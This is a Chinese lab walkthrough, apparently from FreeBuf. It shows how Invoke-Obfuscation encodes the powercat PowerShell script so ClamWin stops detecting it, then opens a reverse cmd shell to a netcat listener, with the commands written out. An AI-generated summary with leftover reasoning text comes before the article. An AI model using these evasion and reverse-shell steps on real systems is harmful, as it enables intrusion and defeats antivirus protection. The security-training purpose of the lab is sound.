Windows 静态文件免杀
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容。 文章主要讲的是使用Invoke-Obfuscation这个PowerShell混淆模块来制作静态文件免杀。实验目的明确,就是通过混淆技术让文件不被杀毒软件检测到。知识点涉及静态免杀,实验原理包括静态查杀、内存查杀、行为查杀和云查杀等几种方式。 实验步骤分为两部分:混淆前和混淆后。在攻击机上,用户使用ClamWin扫描powercat.ps1文件,发现被识别为病毒。然后通过Invoke-Obfuscation进行混淆处理,生成powercat_v1.ps1,并再次扫描,这次没有被识别为病毒。最后通过netcat建立反向连接,成功控制目标服务器。 总结下来,整个实验展示了如何利用混淆技术绕过静态查杀,成功实现免杀效果。所以,在总结的时候需要涵盖这些关键点:使用工具、实验过程、结果以及结论。 接下来,我要确保内容在100字以内,并且直接描述文章内容,不需要开头语。可能的结构是先说明使用了什么工具和方法,然后描述实验结果和结论。 最后检查一下字数是否符合要求,并且语言简洁明了。 </think> 文章介绍了利用Invoke-Obfuscation对PowerShell脚本进行静态文件免杀的实验过程。通过ClamWin扫描发现原始脚本被识别为病毒文件,而经过Invoke-Obfuscation混淆处理后生成的新脚本未被检测为病毒,并成功建立反向连接控制目标服务器。 2026-1-26 10:0:4 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

Windows 静态文件免杀

【实验目的】

通过使用Invoke-Obfuscation的powershell混淆模块,制作静态文件免杀,了解并掌握如何使用Invoke-Obfuscation混淆模块对powershell脚本进行静态文件免杀。

【知识点】

静态免杀

【实验原理】

免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。

静态查杀:查杀静态的文件,一个病毒文件在编译生成之后,该文件本身就会有特征,比如文件的某个部分是由特定字符组成,杀软匹配到特定字符则判断该文件为恶意文件。

内存查杀:病毒文件在运行后会将自身释放到内存中,释放后的文件在内存中也会存在特定字符,根据这些特定字符也可查杀。

行为查杀:程序的一些特定行为也会被杀软判定为恶意程序,如自删除、加入启动项、释放文件到特定目录、调用敏感的dll或程序、获取主机杀软运行状态等。

云查杀:相当于所有用户的机器为Agent,然后有一个服务端,杀软会把文件自动传到云沙箱使用各种杀毒引擎查杀并同步病毒特征到所有Agent。

Invoke-Obfuscation是一款功能强大的PowerShell代码混淆工具,该工具兼容PowerShell v2.0+,能够帮助广大研究人员对PowerShell命令和脚本代码进行混淆处理。很多网络攻击者和商业化恶意软件正在使用一些非常基础的代码混淆技术,并尝试从powershell.exe的命令行参数中隐藏大部分命令。

ClamWin是一款用于Microsoft Windows10/ 8.1/RT/8/7/Vista/XP/Me/2000/98/95及Windows Sever 2008和2003操作系统的免费反病毒程序。Clamwin号称最低功耗的“静音杀毒软件”。它占用资源非常小,以至于你感觉不到它的存在。是“组合式”杀毒软件使用者的最爱。ClamWin是一套功能非常优秀的免费防毒软件。它的体积非常娇小,不会占用太多计算机资源,不像其它防毒软件安装之后会拖累整台计算机的速度。

【软件工具】

  • 服务器:Windows Server 2008 1台;防火墙 1台;Kali Linux台;Windows 10 1台;

  • 交换机/路由:交换机 2台;路由器 1台;

  • 软件:powershell;netcat;远程桌面;Invoke-Obfuscation;Clamwin;

【实验拓扑】

1706060998291316976096197762652dfce75940d (1)

【实验预期】

利用Invoke-Obfuscation制作免杀文件

【实验步骤】

1.静态免杀前的文件

(1)登录攻击机2-Windows

单击上方菜单栏中的【环境申请】按钮启动实验拓扑,选择拓扑图中左下方的【攻击机2-Windows】,按右键,在弹出的菜单中选择【控制台】,登录【攻击机2-Windows】界面。

1706060998291316976096197762652dfce75940d (1)

双击桌面的【远程桌面连接】图标,打开远程桌面连接,单击下拉【显示选项(O)】按钮。

image-20240703092858306

配置远程桌面连接的计算机地址【202.1.10.37】,配置用户名为【hacker】。

image-20240703093001081

(2)远程目标服务器

注:由第六单元的子任务利用系统配置错误进行提权对其添加用户,用户名为【hacker】,密码为【Admin@123.】。

单击【显示】选项卡,配置800x600像素。

image-20240703093059208

按下回车键,弹出窗口,填写密码为【Admin@123.】。

弹出窗口,等待连接。

弹出窗口,单击【是(Y)】按钮,进入远程桌面。

弹出远程目标的窗口桌面,并关闭服务器管理器窗口,如下图所示。

(3)Clamwin扫描显示为病毒

回到【攻击机2-Windows】界面,在【攻击机2-Windows】的桌面上找到【工具】文件夹,双击打开。

找到【powercat.ps1】文件,按住ctrl+c,回到远程桌面窗口按住ctrl+"v",复制粘贴到远程目标的桌面上。

在远程桌面窗口中,右键【powercat.ps1】文件,弹出菜单单击选择【Scan with ClamWin Free Antivirus】选项,使用ClamWin扫描【powercat.ps1】文件。

扫描【powercat.ps1】文件完成后,发现【powercat.ps1】文件为病毒文件。

2.静态免杀后的文件

(1)打开powershell混淆模块框架

回到【攻击机2-Windows】界面,依次打开【攻击机2-Windows】桌面的【工具】→【Invoke-Obfuscation-master】文件夹。

shift+右键空白处,弹出菜单后,单击选择【在此处打开Powershell窗口(s)】。

弹出powershell窗口,输入以下命令并按下回车,绕过powershell禁止策略。

powershell.exe -exec bypass

输入以下命令并按下回车,导入Invoke-Obfuscation模块,并执行Invoke-Obfuscation命令,Invoke-Obfuscation为powershell脚本混淆工具。

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation

进入Invoke-Obfuscation模块框架界面。

(2)制作powershell混淆后的powercat.ps1文件

输入以下命令并按下回车,配置需要混淆的powershell脚本路径。

set scriptpath C:\Users\Administrator\Desktop\工具\powercat.ps1

输入ENCODING并按下回车,进入编码配置选项。

输入1并按下回车,选择编码1号,将【powercat.ps1】文件编码为ASCII。

注:输入1并按下回车后,需等待一段时间,等待编码完成。

输入以下命令并按下回车,将编码后的内容保存到桌面,并命名文件为【powercat_v1.ps1】,同时弹出记事本内容为编码后的【powercat_v1.ps1】文件,关闭【powercat_v1.ps1】记事本窗口。

out C:\Users\Administrator\Desktop\powercat_v1.ps1

编码后的内容保存在桌面,可看到【powercat_v1.ps1】文件。

将【powercat_v1.ps1】文件,按住ctrl+c,回到远程桌面窗口按住ctrl+"v",复制粘贴到远程目标的桌面上。

(3)Clamwin扫描未显示制作后的powercat_v1.ps1文件

在远程桌面窗口中,右键【powercat_v1.ps1】文件,弹出菜单单击选择【Scan with ClamWin Free Antivirus】选项,使用ClamWin扫描【powercat_v1.ps1】文件。

扫描【powercat_v1.ps1】文件完成后,发现【powercat_v1.ps1】文件并未发现为病毒文件。

回到【攻击机2-Windows】界面,依次打开【攻击机2-Windows】桌面的【工具】,右键空白处,弹出菜单后,单击选择【在此处打开命令提示符】。

在命令提示符窗口中,输入以下命令,使用netcat工具,开启本地监听端口4444。

nc -lvvp 4444

回到远程桌面连接窗口,单击任务栏的【powershell】图标。

弹出powershell窗口,输入以下命令并按下回车,使用cd命令进入桌面后,绕过powershell禁止策略。

cd Desktop
powershell.exe -exec bypass

导入【powercat_v1.ps1】模块文件,并使用powercat命令反向TCP连接攻击机2-Windows,开启连接端口4444。

Import-Module .\powercat_v1.ps1
powercat -c 67.220.91.68 -p 4444 -e cmd -v

回到攻击机2-Windows界面,在命令提示符窗口中,在nc工具界面返回了一个shell,该shell为目标服务器。

【实验结论】

通过上述操作,使用Invoke-Obfuscation的powershell混淆模块,制作静态文件免杀,了解并掌握如何使用Invoke-Obfuscation混淆模块对powershell脚本进行静态文件免杀,符合实验预期。


文章来源: https://www.freebuf.com/articles/endpoint/468248.html
如有侵权请联系:admin#unsafe.sh